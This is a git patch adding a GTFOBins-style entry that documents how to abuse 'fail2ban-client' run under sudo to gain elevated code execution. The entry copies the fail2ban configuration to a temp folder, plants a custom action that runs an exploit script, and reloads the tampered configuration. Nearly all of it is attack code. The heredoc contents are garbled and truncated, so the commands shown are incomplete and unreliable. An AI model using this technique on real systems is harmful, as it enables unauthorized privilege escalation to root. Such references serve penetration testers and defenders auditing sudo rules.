From 49ae0ff796b75f87ad6efc5d27993f21853d6408 Mon Sep 17 00:00:00 2001 From: Alexandre ZANNI <16578570+noraj@users.noreply.github.com> Date: Sat, 26 Apr 2025 21:33:33 +0200 Subject: [PATCH] add fail2ban-client --- _gtfobins/fail2ban-client.md | 33 +++++++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) create mode 100644 _gtfobins/fail2ban-client.md diff --git a/_gtfobins/fail2ban-client.md b/_gtfobins/fail2ban-client.md new file mode 100644 index 00000000..ba3e1168 --- /dev/null +++ b/_gtfobins/fail2ban-client.md @@ -0,0 +1,33 @@ +--- +functions: + sudo: + - description: | + Loading tempered configuration file including code. + Requires restarting the service. + Since we, most likely, can't write into /etc/fail2ban/, we can copy the configuration folder to a temporary location and load this copy. + code: | + TD_conf=$(mktemp -d) + rsync -av /etc/fail2ban/ $TD_conf + TD_exploit=$(mktemp -d) + cat > $TD_exploit/exploit < $TD_conf/action.d/custom-start-command.conf <> $TD_conf/jail.local < $TD_conf/filter.d/my-custom-jail.conf <